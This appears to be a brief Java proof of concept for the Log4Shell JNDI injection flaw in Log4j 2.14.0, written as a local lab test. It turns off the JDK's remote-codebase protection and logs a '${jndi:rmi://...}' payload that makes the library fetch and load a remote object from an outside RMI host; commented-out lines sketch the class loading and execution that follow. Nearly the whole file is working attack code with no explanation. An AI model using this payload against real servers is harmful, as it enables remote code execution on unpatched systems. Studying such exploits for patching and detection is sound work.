package com.msy;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author Msy
 * @Description
 * @createTime 2021年12月11日 16:29:00
 */
public class Log4jLoopholes {

    /**
     * 2.14.0
     */
    private static final Logger LOGGER= LogManager.getLogger(Log4jLoopholes.class);

    public static void main(String[] args) {
        //jdk 191
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        LOGGER.info("${jndi:rmi://192.168.18.203:8888/maosuyu}");



        //反序列化
//        Registry registry = LocateRegistry.getRegistry("192.168.18.203",8888);
//        ReferenceWrapper_Stub evil = (ReferenceWrapper_Stub)registry.lookup("maosuyu");
//        Reference reference = evil.getReference();
//        String className = reference.getClassName();
//        Class aClass = Class.forName(className);
//        Execute execute = (Execute)aClass.newInstance();
    }


}
